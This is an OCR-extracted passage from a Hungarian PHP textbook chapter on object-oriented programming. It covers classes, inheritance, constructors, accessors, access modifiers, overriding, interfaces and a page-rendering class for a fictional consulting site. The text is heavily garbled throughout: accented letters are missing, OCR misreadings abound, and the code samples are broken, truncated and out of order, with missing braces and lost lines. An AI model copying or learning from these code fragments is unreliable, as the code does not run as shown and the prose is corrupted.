milyen vgeredmnyrl beszlhetnk. Ugyanez igaz a nagy szofrverprojektekre is.
Sok olyan webes projektrl rudunk, amely egymsra mutat oldalak halmazbl fejldtt komplex alkalmazss. Az sz
szetett alkalmazsok - mindegy, hogy prbeszdablakokon vagy dinamikusan ellltott HTML oldalakon keresztl tekintjk
meg ket - kellen tgondolt fejlesztsi mdszert ignyelnek. Az objekrumorientlt programozssal knnyebben kezelhetjk
az sszetett projekteket, elsegti kdjaink tbbszri felhasznlhatsgt, s ezltal programjaink mkdtetsi kltsgei is
cskkenrhetk.
Objektumorienrlt programozs esetn az objekrum eltrolt adatok s az azokon az adarokon mkd mveletek egyedi
s azonosthat gyjtemnye. Lehet, pldul, a gombokat jelkpez kt objekrumunk. Mg ha mindkettnek OK is a felirata,
60 kppont szlesek s 20 kppont magasak, s minden ms tulajdonsguk is megegyezik, akkor is tudnunk kell kezelni ket.
Programozskor kln vltozk mkdnek az objektumok kezeljekne (handle), vagyis egyedi azonostjaknr.
Az objektumok osztlyokba csoporrosrhatk. Az osztlyok egyenknt eltr, m valamilyen szempontbl egyforma objektu
mok csoportjt jelkpezik. Egy adott osztly olyan objektumokat tarralmaz, amelyek ugyangy mkd, egyforma mveletekkel s
ugyanazt jelent, egyforma tulajdonsgokkal rendelkeznek, noha e tulajdonsgok rckei objekrumonknt eitrk tehernek.
Gondoljunk a bicikli fnvre a kzs funkcikkal vagy tulajdonsgokkal (pldul kt kerk, szn s mret) s mveletekkel
(pldul mozgs) rendelkez, klnbz kerkprokat ler objektumok osztlyaknt l A szerz biciklijre gondolhatunk
gy, mint egy, a bicikli osztlyba ill objektumra. Rendelkezik az sszes biciklire jellemz, kzs funkcikkal, kztk a moz
gs mvelettel, amely a tbbi bicikli mozgshoz hasonlan mkdik - csak ppen a tbbi biciklinl taln kicsit ritkbban.
Ennek a bringnak a tulajdonsgai egyedi rrkekkel rendelkeznek, merr a bicikli zld, s nem mindegyik kerkpr ilyen
szn.
Tbbalaksg
Az objektumorientlt programozsi nyelveknek tmogarniuk kell a tbbalaksgot (polymorphism), ami azt jelenti, hogy a k
lnbz osztlyok eltr viselkedsekkel rendelkezhetnek ugyanarra a mveletre. Ha pldul a bicikli osztly mellett aut osz
tlyunk is van, mindkettnek kell, hogy legyen a msiktl eltr mozgs mvelete. Vals objektumok esetn ez aligha okozhat
problmt. A biciklik nem valszn, hogy sszezavarodnak, s egy aut mozgs mveletvel prblnak meg elindulni. Progra
mozsi nyelvben azonban nem mindig szmthatunk a vals vilg jzan eszre, gy a nyelvnek tmogatnia kell a tbbalaksgot,
hogy tudjuk, mely mozgs mveletet alkalmazzuk egy adott objekrumon.
A tbbalaksg jellemzbb a viselkedsekre, mint az objekrumokra. PHP-ben csak az osztly tagfggvnyei leheenek
tbbalakak. Egy vals vilgbl vett plda erre az emberi nyelv igi, amelyek ilyen szempontbl a tagfggvnyek megfeleli.
Gondoljuk vgig, a valsgban mit tehetnk egy kerkprral l Sok egyb mellett takarrhatjuk, mozgarhatjuk, sztszerelhetjk,
megjavrhatjuk vagy lefesrhetjk.
Ezek az igk ltalnos cselekedeteket rnak le, mert nem tudjuk, hogy milyen tpus objektumra alkalmazzuk ket. (Az ob
jektumok s mveletek ilyen tpus absztrakcija az emberi intelligencia egyik megklnbztet eleme.) Egy kerkpr mozga
tsa pldul teljesen msmilyen mveleteket ignyel, mint egy aut mozgatsa, br ezek alapjaikban egyez fogalmak. A mozgat
ige csak akkor trsthat konkrt mveletekkel, ha tudjuk, hogy milyen objektumon kvnjuk alkalmazni.
rklds
Az rklds (inheritance) lehetv teszi, hogy a/osztlyok (subclass) hasznlatval hierarchikus kapcsolatot hozzunk ltre
osztlyok kztt. Az alosztly rkli az alaposztly (superclass) tulajdonsgait s mveleteit. Az autnak s a biciklinek vannak
kzs vonsai. Pldul egy jrm nev osztlyban trolhatjuk azokat a dolgokat, amelyekkel nnden jrm rendelkezik (pld
ul szn, tulajdonsg s mozgs mvelet), majd az aut s a bicikli osztlyt rkthetjk a jrmbL
Az alosztly, a szrmaztatott osztly (clerived class) s a gyerek (child) kifejezs ugyanazt jelenti. Hasonlkppen az alaposz
tly s aszl (parent) jelentse is megegyezik.
Objektumorientlt PHP
rkldssei pthernk meglv osztlyokra, illetve kiegszthetjk azokat. Egy egyszer alaposztlybl sszetettebb s
specializltabb osztlyokat szrmaztathatunk, ha szksgnk van rjuk. Ez a lehetsg mg inkbb jrafelhasznlhatv teszi
kdunkat, ami az objektumorientlt megkzelts egyik legfbb elnye.
Az rkldssei munkt takarthatunk meg azltal, hogy a mveleteket elegend egy alaposztlyban egyszer megrni, s gy
nem kell az egyes alosztlyokkal egyenknt bbeldni. A vals vilgbeli kapcsolatok pontosabb modellezst is lehetv teszi.
Ha brmely kt osztly esetben rtelmes a"... egy ..." mondat, akkor az rkldsnek minden bizonnyal van lgogosultsga .
Az aut egy jrm:' mondat rtelmes, de"A jrm egy aut:' nem, mert nem minden jrm aut. gy az aut rkthet a jr
mbL
Osztlyszerkezet
A legegyszerbb osztlydefinci gy nz ki:
class osztalynev
Ahhoz, hogy hasznlhat legyen, az osztlynak attribtumokra s metdusokra van szksge. Attribtumokat gy hozha
runk ltre, hogy az osztlydefincin bell a lthatsguknak megfelel kulcsszavakkal (public, private vagy protected )
vltozkat deklarlunk. Ezt a fejezet ksbbi rszben rszletesen ttekingk. A kvetkez kd az osztalynev nev osz
tlyt hozza ltre kt attribtummal- $attributuml s $attributum2:
class osztalynev
public $attributuml;
public $attributum2;
Metdusokat gy hozhatunk ltre, hogy az osztlydefincin bell fggvnyeket deklarlunk. Az albbi kddal egy
osztalynev nev, kt metdust tartalmaz osztlyt hozunk ltre, amelynek metdusai semmit nem csinlnak.
fu nction metodusl()
function metodus2($paraml,
$param2)
Konstruktorok
A legtbb osztly rendelkezik egy klnleges tpus metdussal, amelynek neve konstruktor (ltrehoz fggvny). Konstruktort
hvunk meg az osztly objektumainak ltrehozsra, s a konsttuktor ltalban elvgzi az olyan hasznos inicializlsi feladatokat,
mint pldul az attribrumok megfelel kiindul rtkre lltsa vagy az objektum ltal megkvetelt egyb objektumok ltrehozsa.
A konstruktort ugyangy deklarljuk, mint brmelyik msik metdust, m klnleges neve van:_const ruct ().Br
a konstruktort sajt kezleg is meghvhaguk, f clja, hogy objektum ltrehozsakor automatikusan meghvcljk. A kvetkez
kd konstruktorral br osztlyt deklarl:
class osztalynev
function
con struct($param)
109
11O
6. fejezet
".$param."<br />";
A fggvnyek tbbszrs definilsa (function overloading) azt jelenti, hogy egynl tbb ugyanolyan nev s klnbz
szm vagy tpus paramterrel rendelkez fggvnyt megadhatunk. (Ezt a funkcit sok objektumorientlt nyelv tmogatja,
a PHP azonban nem.) A fejezet egy ksbbi rszben mg lesz sz errl.
Destruktorok
A konstruktor ellentte a destruktor. Lehetv teszi, hogy bizonyos funkcik vgbemenjenek kzvetlenl egy osztly megsem
mistse eltt, ami automatikusan bekvetkezik, amikor egy osztlyra mutat sszes hivatkozst megszntetnk, vagy azok
kiesnek a hatkrbL
A konstruktorok elnevezshez hasonlan kell a destruktorokat is elnevezni:_ destruct (). Paramterk nem lehet.
Osztlypldnyok ltrehozsa
Az osztly deklarlsa utn objektumot - az osztly egy konkrt tagjt - kell ltrehozni ahhoz, hogy dolgozhassunk vele. Ezt
osztlypldny ltrehozsnak nevezik. Objektumot a new kulcsszval lehet ltrehozni. Amikor ezt tesszk, meg kell hatroz
nunk, hogy az objektum melyik osztly pldnya lesz, illetve meg kell adnunk a konstruktor ltal vrt paramtereket.
A kvetkez kd az osztalynev nev, konstruktorral rendelkez osztlyt deklarlja, majd ltrehoz hrom osztalynev
tpus objektumot:
class osztalynev
function
echo
construct($param)
Sa
new osztalynev("Els6");
$b
new osztalynev("Msodik");
Sc
new osztalynev();
".$param."<br />";
Mivel a konstruktor minden objektumltrehozskor meghvdik, a fenti kd a kvetkez kimenetet lltja el:
Els6
Osztlyattribtumok hasznlata
Az osztlyokon bell egy $this nev, klnleges mutatval rendelkeznk. Ha aktulis osztlyunk valamely attribturnt
$tulajdonsag-nak nevezik, akkor e vltoz belltsakor vagy az osztlyon belli mveletbl val elrsekor a
Sthis->tulajdonsag formban hivatkozhatunk r.
$param
echo Sthis->tulajdonsag;
Hogy egy attribtumot az osztlyon kvlrl is elrhetnk-e, azt a - fejezet egy ksbbi rszben rszletesen bemutatand
- hozzfrs-mdostk hatrozzk meg. A pldban nincsen korltozva az attribtumokhoz val hozzfrs, gy a kvetkez
kppen az osztlyon kvlrl is elrhetjk ket:
Objektumorientlt PHP
lll
class osztalynev
public $tulajdonsag;
$a = new osztalynev();
$a->tulajdonsag = "ertek";
echo $a->tulajdonsag;
ltalban nem clszer a tulajdonsgokhoz osztlyon kvlrl kzvetlenl hozzfrni. Az objektumorientlt megkzelts
egyik elnye, hogy kiknyszerti a zrtsg elvnek betartst. Ezt a_get s a_set fggvny hasznlatval rhetjk el. Ha
egy osztly attribtumainak kzvetlen elrse helyett elr fggvnyeket (accessor function) runk, a hozzfrseket egyetlen
kdrszen keresztl biztosthatjuk. Amikor elszr megrjuk elr fggvnyeinket, azok a kvetkezkppen nzhetnek ki:
class osztalynev
public $tulajdonsag;
function
get($nev)
return $this->$nev;
function
set ($nev,
$this->$nev
$ertek)
$ertek;
A fenti kd egyszer fggvnyeket ad a $tulajdonsag nev attribtum elrsre. A_get() nev fggvny egyszeren
a $tulajdonsag rtkt aclja vissza, a_set() pedig j rtket rendel a $tulajdonsag-hoz.
Figyeljk meg. hogy a_get() egy paramtert fogad- az attribtum nevt-, s az attribtum rtkvel tr vissza!
A_set() fggvny ugyanakkor kt paramtert vr: az attribtum nevt s az rtket, amit rendelni kvnunk hozz.
Ezeket a fggvnyeket nem kzvetlenl hvjuk meg. A nevk eltti dupla alulvons jelzi, hogy- a_ construct()s
a_ destruct () fggvnyhez hasonlan- klnleges jelentssei brnak PHP-ben.
De akkor hogyan mkdnekr Ha ltrehozzuk az osztly egy pldnyt:
$a = new osztalynev();
a_get() s a_set() fggvnnyel ellenrizhetjk, illetve bellthatjuk artribtumai rtkr.
Ha berjuk a kvetkezket:
$a->$tulajdonsag = 5;
ez
a kifejezs tttelesen meghhja a_set() fggvnyt, a $nev-et.,tulajdonsagra"-ra, az $ertek rtkt pedig 5-re
'
mdostani:
function
set ($nev,
$ertek)
if ( ($nev="tulajdonsag")
&&
($ertek >= 0)
&&
$this->tulajdonsag = $ertek;
Egyeden hozzfrsi ponton meg tudjuk vltoztaeni a mgttes megvalstst. Ha brmilyen okbl gy dntnk, hogy
megvltoztatjuk a $tula jdonsag trolsi mdjt, a hozzfrsi fggvnyek lehetv teszik ezt, s csak egyetlen helyen kell
kdunkat mdostani.
112
6. fejezer
Dnehetnk gy,hogy a $tulajdonsag vltozknt trtn trolsa helyett adarbzisbl keressk vissza akkor, amikor
szksgnk van r,kiszmrjuk akrulis rtkr minden egyes alkalommal, amikor szksgnk van r, ms attribrumok
rtkeibl szrmaztatjuk az rtkr,vagy kisebb adattpusknt kdoljuk az adatot. Akrmilyen vltoztats mellett dnrnk,
egyszeren mdosthatjuk az elr fggvnyeket. A kd tbbi rszr ez nem rinti,feltve persze,hogy a ler fggvnyeket gy
vltoztatjuk, hogy a program tbbi rsze ltal elvrt mdon rik el vagy adjk vissza az adatokat.
Hozzfrs#szablyozs p r i v a t e s p ub l i c kulcsszval
A PHP hozzfrs-mdosrkar hasznl. Ezeket az attribrum- s metdusdeklarcik el rva szablyozzk az attribrumok
s metdusok lthatsgt. A PHP a kvetkez hrom hozzfrs-mdostt tmogatja:
Az alaprtelmezett opci a public (nyilvnos),ami azt jelenti,hogy ha nem harrozunk meg hozzfrs-mdosrt egy
attribrumhoz vagy metdushoz, akkor az public lesz. A public hozzfrs-mdostval rendelkez elemek osztlyon bell
rl s kvlrl is elrhetk.
A private (bels) hozzfrs-mdost azt jelenti, hogy az adott elem csak az osztlyon bellrl rhet el. Ha nem hasz
nlunk _get() s_set ( ) fggvnyt, akkor minden attribrumra alkalmazhatjuk. Dnthernk gy is, hogy egyes met
dusokat priva te mdostval lrunk el, ha azok csak az osztlyon bell hasznland segdfggvnyek. Ezek az elemek nem
rkldnek (a fejezet egy ksbbi rszben erre mg rszletesebben visszatrnk).
A protected (vdett) hozzfrs-mdost azt eredmnyezi, hogy az ltala megjellt elem csak az osztlyon bellrl r
het el. Alosztlyokban is lrezik (ehhez is visszatrnk majd a fejezer ksbbi, az rkldssei foglalkoz rszben). Egyelre
gy kpzeljk el a protected mdostt, minr ami a private s a public kzrt flron helyezkedik el!
Az albbi pldakd a public hozzfrs-mdost hasznlatt muratja be:
class osztalynev
public $tulajdonsag;
public function _get($nev)
return $this->$nev;
public function
set ($nev,
$ertek)
$this->$nev = $ertek;
Ebben minden osztlyrag hozzfrs-mdostval van ellrva,jelezvn, hogy bels vagy nyilvnos. A public kulcssz
elhagyhat, mert ez az alaprtelmezett lehetsg,m hasznlata egyb mdostk alkalmazsa esetn knnyebben olvashatv
teszi a kdot.
Osztlymetdusok hvsa
Az osztlymetdusokat az oszrlyattribrumok hvshoz igen hasonl mdon hvhatjuk meg. Tegyk fel, hogy van egy ilyen
osztlyunk:
class osztalynev
function metodusl()
function metodus2($paraml,
$param2)
Ezt kveten ugyangy hvhatjuk meg a metdusokat, mint brmilyen ms fggvnyeket: nevkkel, illetve az ltalunk el
vrt fggvnyeket zrjelbe helyezve. Mivel ezek a mveletek a hagyomnyos fggvnyeknl jobban kapcsoldnak egy adott
Objektumorientlt PHP
113
objektumhoz, meg kell hatroznunk, hogy melyik objektumhoz tartoznak. Az objektum nevt ugyangy hasznljuk, mint egy
objektumattribtumot, pldul gy:
$a->metodus1();
$a->metodus2(12,
"teszt");
"teszt");
public
$attributum2;
function metodus2()
public $attributum1;
function metodus1()
B();
$b->metodus1();
$b->attributum1 = 10;
$b->metodus2();
$b->attributum2
10;
Ne feledjk, hogy mivel a B osztlyt az A-bl szrmaztattuk, annak ellenre hivatkozhatunk metodusl () metdusra s
$attributum1
ugyanazokkal a funk
cikkal s adatokkal rendelkezik! Ezeken tlmenen a B osztlyhoz egy sajt tulajdonsgot s egy sajt metdust is deklarl
runk.
Fontos megemlteni, hogy az rklds csak egy irnyba mkdik. Az alosztly, ms nven gyerek rkli a szl vagy az
alaposztly funkciit, de a szl nem rkli a gyerekit. Ebbl az kvetkezik, hogy az albbi kd utols kt sora hibs:
$a = new
A();
Sa->metodusl ();
$a->attributum1 = 10;
$a->metodus2();
$a->attributum2 = 10;
mdost lett rendelve, nem fog rkldni. A vdett (protected) attribtumok s metdusok az osztlyon kvl nem
114
6. fejezet
B extends A
class
function
construct()
$this->metodusl();
$this->metodus2();
$this->metodus3();
$b
new
B;
?>
A fenti kd hromfle mveletet hoz ltre az A osztlyban: public, protected s private, azaz nyilvnos, vdett s
bels tpust. A B az A-bl rkldik. A B konstruktorban megprbljuk a mveleteket a szlbl meghvni.
Az albbi sor:
$this->metodusl();
private method
'B' osztlybl)
A plda azt szemllteti, hogy a bels metdusokat gyerekosztlybl nem lehet meghvni.
Ha megjegyzsknt kiemeljk ezt a sort, a msik kt fggvnyhvs mkdni fog. A protected fggvny rkldik, m
csak a gyermekosztlyon bellrl hasznlhat, ahogy azt a pldban is tettk. Ha megksreljk a fjl vghez az albbi sort
hozzadni:
$b->metodus2();
'B'
osztlybl)
Fellrs
A fejezetben lttunk mr olyan alosztlyt, amely j attribtumokat s metdusokat deklarlt. Ugyanazokat az attribtumokat
s metdusokat lehetsges s esetenknt hasznos is jradeklarlni. gy az alosztly adott attribtumaihoz az alaposztlyban
lv ugyanezen attribtumok alaprtelmezett rtktl eltr rtkeket rendelhetnk, vagy az alosztly metdusainak az alap
osztly megfelel metdusaitl eltr funkcionalitst adhatunk. Ezt az eljrst Jellrsnak ( overriding) nevezik.
Tegyk fel plduL hogy van egy A osztlyunk:
class
public
$tulajdonsag
"alaprtelmezett
rtk";
Objektumorientlt PHP
115
function metodus()
echo "Valami<br />";
echo "A \$tulajdonsag rtke: "
$this->tulajdonsag."<br />";
Amennyiben szeretnnk megvltoztaeni a $tulajdonsag rtkt s j funkeit adni a metodus () metdusnak, a kvet
kez B osztlyt hozhatjuk ltre, amely fellrja a $tulajdonsag attribtumot s a metodus() metdust:
class B extends A
publ i c $tulajdonsag
"ms rtk";
function metodus()
echo "Valami ms<br />";
echo " A \$tulajdonsag rtke: "
$this->tulajdonsag."<br />";
new A();
$a -> metodus();
E sorok egy A tpus objektumot hoznak ltre, s meghvjk metodus ( ) fggvnyt. Ennek kimenete:
Valami
A
bizonytja, hogy B ltrehozsa nem vltoztatta meg A-t. Amennyiben ltrehozunk egy B tpus objektumot, ms vgeredmny
hez jurunk.
Ennek a kdnak:
$b
new B();
$b -> metodus();
a kimenete:
Valami ms
A
l"
Mikppen egy alosztlyban ltrehozott j attribtum vagy metdus nem rinti az alaposztlyt, az attribrumok vagy met
dusok alaposztlybeli fellrsa sincsen r hatssal.
Egy alosztly alaposztlya minden amibrurnt s metdust rkli, kivve, ha lecserljk azokat. Ha csert definilunk, az
elsbbsget lvez, s fellrja az eredeti defincit.
A parent kulcssz lehetv teszi, hogy a metdusnak a szlosztlyban lv eredeti vltozatt hvjuk meg. Pldul az
A:
parent: :metodus();
Az gy elllt kimenet azonban eltr. Br a szlosztlybl hvjuk meg a metdust, a PHP az aktulis osztly tulajdonsg
rtkeit hasznlja. Ezrt az albbi kimenetet kapjuk:
Valami
A
Az rklds tbb rteg mlysg lehet. Deklarlharunk egy C nev, a B-bl szrmaztatott osztlyt, amely gy a B osztly
s az szlje, az A osztly funkciit, metdusait rkli. A C osztlyban megint eldnthetjk, hogy a szlk mely attribtu
mait s metdusait kvnjuk fellrni s lecserlni.
"alaprtelmezett rtk";
116
6. fejezet
echo "Valami<br
/>";
"
$this->tulajdonsag."<br />";
hibazenetet kapjuk:
Fatal error:
(Vgzetes hiba:
A final kulcssz hasznlatval azt is megakadlyozhatjuk, hogy egy osztlybl alosztlyokat szrmaztassanak. A kvetke
zkppen teheljk ezt meg:
final class A
{ .. . l
(Vgzetes hiba:
(A)
A tbbszrs rklds
Nhny objektumorientlt programozsi nyelv (mindenekeltt a C++ s a Smalltalk) tmogatja a tbbszrs rkldst, de
a PHP - a tbbsggel egyetemben - nem. Ez azt jelenti, hogy nnden osztly csak egyeden szltl szrmaztathat. Arra
vonatkozan viszont nincsen korltozs, hogy egy szl hny gyerekosztllyai rendelkezhet. Ez gy elsre taln nem teljesen
vilgos, de a 6.1 bra az A, B s C nev osztly rkldsnek hrom lehetsges mdjt mutatva segt tisztv tenni a kpet.
Egyszeres rklds
Tbbszrs rkld s
Egyszeres rklds
tly legfeljebb egy szlvel rendelkezik, gy ez egy PHP-ben teljesen szablyos, egyszeres rklds.
A kzps kombinciban a
Interfszek megvalstsa
Amennyiben tbbszrs rklds pldnyaiban ltott funkcionalitst kell megvalstanunk (kifejtennk) PHP-ben,
interf
szeken (interface) keresztl tehetjk ezt meg. Az interfszekre a tbbszrs rklds thidal megoldsaknt tekinthetnk,
hasonlan a tbbi objektumorientlt nyelv, kztk a Java ltal tmogatott interfszmegoldshoz.
Az interfsz alapgondolata az, hogy az interfszt alkot osztlyokban megvalstand metdusok halmazr hozzuk ltre.
Pldul gy dntnk, hogy olyan osztlyok csoporgt hozzuk ltre, amelyeknek kpeseknek kell lennik nmaguk megjelen
tsre. Ahelyett, hogy ltrehoznnk egy megjelenites() fggvnnyel rendelkez alaposztlyc, amelybl az osztlyok rk
ldnek, s fellrjk az rkltt elemeket, a kvetkezkppen valsthaljuk meg az interfszt:
Objektumorientlt PHP
117
interface Megjelenitheto
function megjelenites();
{
function megjelenites()
ll
Ez a plda jl szernllteti egy, a tbbszrs rklds hinyt thidal megoldst, hiszen a webOldal osztly rklhet egy
osztlybl, s megvalsthat egy vagy tbb interfszt.
Ha nem fejtjk ki az interfszben meghatrozott metdusokat ( jelen esetben a Megjelenites ()-t), vgzetes hiba kvet
kezik be.
Osztlytervezs
Most, hogy mr tisztba kerltnk
az
tsukhoz szksges szintaktikval, rdemes megvizsglni, hogyan lehet hasznlhat osztlyokat tervezni.
Kdunk szmos osztlya a vals vilg objektumainak osztlyait vagy kategriit fogja jelkpezni. A webfejleszts sorn
hasznlt osztlyok kz weblapok, kezelfelleti komponensek, online bevsrlkosarak, hibakezels, termkkategrik vagy
vsrlk tartozhatnak.
A kdban szerepl objektumok az elbb emltett osztlyok konkrt pldnyait jelkpezik majd - pldul a nyitoldalt, egy
adott gombot vagy
az
adott idpontban Kovcs Jnos bevsrlkosart. Kovcs urat pedig egy vasa rlo tpus objektum jelk
pezheti. A Jnos ltal megvsrolt minden cikket egy-egy objektum jelkpez, amelyek valamely kategriba vagy osztlyba tartoz
nak.
Az elz fejezetben egyszer fjlbeillesztssei rtk el a kpzeletbeli TLA Consuiting cg honlapjnak egysges megjelen
st. Osztlyokkal s a szmunkra rengeteg idt megtakartani kpes rkldssei ugyanennek a honlapnak fejlettebb vltozatt
is el tudjuk lltani.
Clunk most
az,
hogy gyorsan tudjunk ugyangy kinz s mkd oldalakat ltrehozni a TLA szmra. Kpesnek kell
lennnk arra is, hogy a honlap klnbz tartalmainak megfelelerr tudjuk mdostani ezeket az oldalakat.
A plda kedvrt ltrehozunk egy Oldal nev osztlyt. Az osztly elsdleges clja, hogy mrskelje egy j oldal ltrehozshoz szksges HTML kd mennyisgt. Lehetv kell, hogy tegye az oldalrl oldalra vltoz rszek mdostst, mg
a mindenhol egysgesen megjelen elemeket automatikusan kell, hogy ellltsa. Az osztlynak rugalmas keretrendszert kell
az
mint pldul:
Oldalelemek egyetlen helyen trtn mdostsnak lehetsge. Azaz, ha trjuk a szerzi jogi nyilatkozatot, vagy mg
egy gombot kvnunk az oldalakhoz adni, a vltoztatst csak egyetlen helyen kelljen vgrehajtanunk.
Az oldal legtbb rsznek legyen alaprtelmezett tartalma, s szksg esetn brmelyik elemet tudjuk mdostani, lehes
sen egyni rtkeket belltani az olyan elemekhez, mint a cm vagy a metaadatok.
Az aktulisan megjelentett oldal felismerse s a navigcis elemek ennek megfelel mdostsa (a nyitoldalon nincs
rtelme a nyitoldalra mutat gombot elhelyezni).
Adott oldalakon az lland elemek lecserlsnek lehetsge. Ha pldul msmilyen navigcis gombokat szetetnnk
elhelyezni a honlap egy adott rszn, akkor le tudjuk cserlni az lland elemeket.
az
Az osztlynevet logikusan kell kivlasztanunk. Mivel oldalt jelkpez, nevezzk Oldal-nak. Az Oldal nev osztly deklar
lshoz rjuk be a kvetkezket:
l 6
118
6. fejezet
class Oldal
Az osztlynak tulajdonsgokra van szksge. Pldnkban az oldalrl oldalra vltoz elemeket fogjuk osztlytulajdonsgok
knt belltani. Az oldal f tartalmr, amely HTML cmkk (rag) s szveg kombincijbl pl fel, $tartalom-nak nevez
zk. Az albbi kdsort az oszclydelincin bellre rva deklarlhatjuk eze az accribcumot:
public $tartalom;
Az oldal cmc trol accribcumokat is bellthatunk. Eze a cmer minden bizonnyal meg fogjuk vlroztacni, hogy a ltogat
lca! megjelentett oldal tartalmt tkrzze. res cmek helyett azonban rdemes az albbi kdsorral alaprtelmezert cmer
megadni:
public $eim
Az zleti cl weboldalak metacmeket (mecatag) tartalmaznak, ezzel segtenek a keresmocoroknak az oldal indexelsben. Ah
hoz, hogy hasznosak legyenek, a mecacmeknek oldalrl oldalra elerknek kell lennik. Itt is megadhacunk alaprtelmezett rtket:
public $kulcsszavak = "TLA Consulting,
Hrombets rvidts,
Az eredeci oldalt mucac 5.2 brn (lsd az elz fejezetet!) lthat navigl gombokat rninden bizonnyal rdemes rninden
oldalon vltozatlanul hagyni, hogy ne zavarjuk ssze a felhasznlt, m az egyszer vltozcachacsguk rdekben hozzunk
ltre ezekbl is egy tulajdonsgot! Mivel a gombok szma vltozhat, hasznljunk tmbt, s troljuk el a gomb szvegt meg az
URL-c, arnire mutacnia kell:
public $gombok = array ( "Kezdlap" => "kezdelap.php",
"Kapcsolat" => "kapcsolat.php",
"Szolgltatsok" => "szolgaltatasok.php",
"Oldaltrkp" => "terkep.php"
);
Hogy mkdni tudjon, az osztlynak mecdusokra is szksge van. Kezdskppen adjuk meg az imnt definilt tulajdons
gok rtkeinek belltshoz s leolvasshoz az elr fggvnyeket:
public function
set($nev,
$ertek)
$this->$nev = $ertek;
A _set () fggvny-
az
egyszeren hozzadhat. Mivel nem valszn, hogy ezen rtkek brmelyikt az osztlyon kvlrl meg fogjuk krni, dnthe
rnk gy, hogy- rnint ahogy itt is tettk- a _get () fggvnye nem adjuk meg.
Az osztly elsdleges clja HTML oldal megjelencse, ehhez fggvnyre van szksg. Fggvnynk, amelynek
a Megjelenites() nevet adtuk, a kvetkezkppen nz ki:
public function Megjelenites()
echo "<html>\n<head>\n";
$this -> MegjelenitesCim();
$this -> MegjelenitesKulcsszavak();
$this -> MegjelenitesStilusok();
echo "</head>\n<body>\n";
$this -> MegjelenitesFejlec();
$this -> MegjelenitesMenu($this->gombok);
echo $this->tartalom;
$this -> MegjelenitesLablec();
echo "</body>\n</html>\n";}
A fggvny nhny egyszer echo utastssal jelenti meg a HTML-c, de elsdlegesen az osztly ms fggvnyeinek meg
hvsaibl ll. Ahogy nevkbl gondolhatjuk, ezek a fggvnyek az oldal rszeit jelentik meg.
A fggvnyek ilyern felbontsa nem szksgszer. Ezeket a klnll fggvnyeket egyszeren egy nagy fggvnybe is
egyesthecrk volna. Srnos okunk volt azonban elklntskre.
Minden egyes fggvny jl krlhatrole feladacoe kell, hogy ellsson. Minl egyszerbb a feladat, annl knnyebb lesz meg
rni s tesztelni a fggvnye. Azonban ne essnk t a l msik oldalra sem! Ha tlsgosan apr egysgekre bontjuk fel a prog
ramot, nehezen olvashat lesz.
Objektumorientlt PHP
119
rklds alkalmazsval fellrhatjuk a metdusokat. Lecserlhetnk ugyan egy nagy Megjelenites () fggvnyt, de
nem valszn, hogy szeremnk az egsz oldal megjelentsi mdjt megvltoztatni. rdemesebb a megjelentsi funkeit n
hny klnll feladatra felbontani, hogy kpesek legynk kizrlag a vltoztaeni kivnt rszeket fellrni.
A Megjelenites() fggvny a MegjelenitesCm(),MegjelenitesKulcsszavak(},
MegjelenitesStlusok(},MegjelenitesFej lee (),MegjelenitesMenu () s MegjelenitesLablec() fgg
azt
jelenti, hogy definilnunk kell ezeket a metdusokar. A merdusokar vagy fggvnyeker ebben a logikai
sorrendben is rhatjuk, vagyis meghvsuk a fggvny tnyleges kdja eltt is megrrrnhet. Sok ms nyelvben a fggvnyeker vagy metdusokat elre meg kell rni ahhoz, hogy meghvhassuk ket. A metdusok tbbsge nagyon egyszer, nmi
HTML-t, illetve esetenknt a tulajdonsgok rarralmr kell, hogy megjelenrsk.
A 6.1 pldakd az oldal.inc.php nven elmentett s ezltal f:ijlknt beilleszthet, teljes osztlykdot mutatja.
6.1 pldakd: oldal. inc. php -A Page osztly a TLA weboldalainak egyszer s rugalmas ltrehozst teszi lehetv
<?php
class Oldal
Hrombets rvidts,
set($ nev,
__
$ertek)
$this->$nev = $ertek;
echo "<html>\n<head>\n";
$this -> MegjelenitesCim();
$this -> MegjelenitesKulcsszavak(};
$this -> MegjelenitesStilusok();
echo "<lhead>\n<body>\n";
$this -> MegjelenitesFejlec();
$this -> MegjelenitesMenu($this->gombok);
echo $this->tartalom;
$this -> MegjelenitesLablec();
echo "<lbody>\n<lhtml>\n";
{
echo "<title>".$this->cim."<ltitle>";
120
6.
fejezet
?>
<style>
hl
color:white;
font-size:24pt;
text-align:center;
font-family:arial,sans-serif
.menu
color:white;
font-size:l2pt;
text-align:center;
font-family:arial,sans-serif;
font-weight:bold
td
background:black
p
color:black;
font-size:l2pt;
text-align:justify;
font-family:arial,sans-serif
p.foot
color:white;
font-size:9pt;
text-align:center;
font-family:arial,sans-serif;
font-weight:bold
a:link,a:visited,a:active
color:white
</style>
<?php
l
public function MegjelenitesFejlec()
?>
<table width="lOO%" cellpadding="l2"
cellspacing="O" border="O">
<tr bgcolor ="black">
<td align ="left"><img src = "logo.gif" /></td>
<td>
<hl>TLA Consulting
Pty Ltd</hl>
<ltd>
<td align ="right"><img src =
"logo.gif" /></td>
</tr>
</table>
<?php
l
public function MegjelenitesGombok($gombok)
Objektumorientlt PHP
121
//gombrnretek kiszmtsa
$szelesseg = 100/count($gombok);
while (list($nev,
$url) = each($gombok))
$nev,
$url,
!$this->IsURLCurrentPage($url));
echo "</tr>\n";
echo "</table>\n";
if(strpos($_SERVER['PHP_SELF'],
$url )==false)
{
return false;
else
return true;
public function
MegjelenitesGomb($szelesseg,$nev,$url,$active
if ($active)
true)
l"
</td>";
else
echo "<td width=\"".$szelesseg."%\">
<irng src=\"side-logo.gif\">
<span class=\"rnenu\">".$nev."</span>
</td>";
{
?>
<table width="lOO%"
<tr>
< td>
<p class="foot">©
<p class="foot">Krjk,
jogi nyilatkozatt1</a></p>
<ltd>
</tr>
</table>
<?php
\..
122
6. fejezet
?>
Ezrt a fggvnyeken bell egyszeren egy PHP zrcmkvel ( ?> ) kezdnk, begpeljk a HTML kdot, majd egy PHP kez
dcmkvel ( <?php) visszatrnk PHP-be.
Kt msik mecdust definilunk az osztlyban. A Megjeleni tesGomb () egy egyszer mengombot jelent meg. Ha
a gomb az aktulis oldalra mutatna, akkor egy kiss eltren kinz, sehova nem mutat, inaktv gombot jelentnk meg. gy
megrizzk az egysges oldalelrendezst, s vizulis tmutatst adunk a lcogatknak.
Az IsURLCurrentPage() metdus llapga meg. hogy a gomb URL-je az aktulis oldalra mutat-e. Szmtalan mdszer
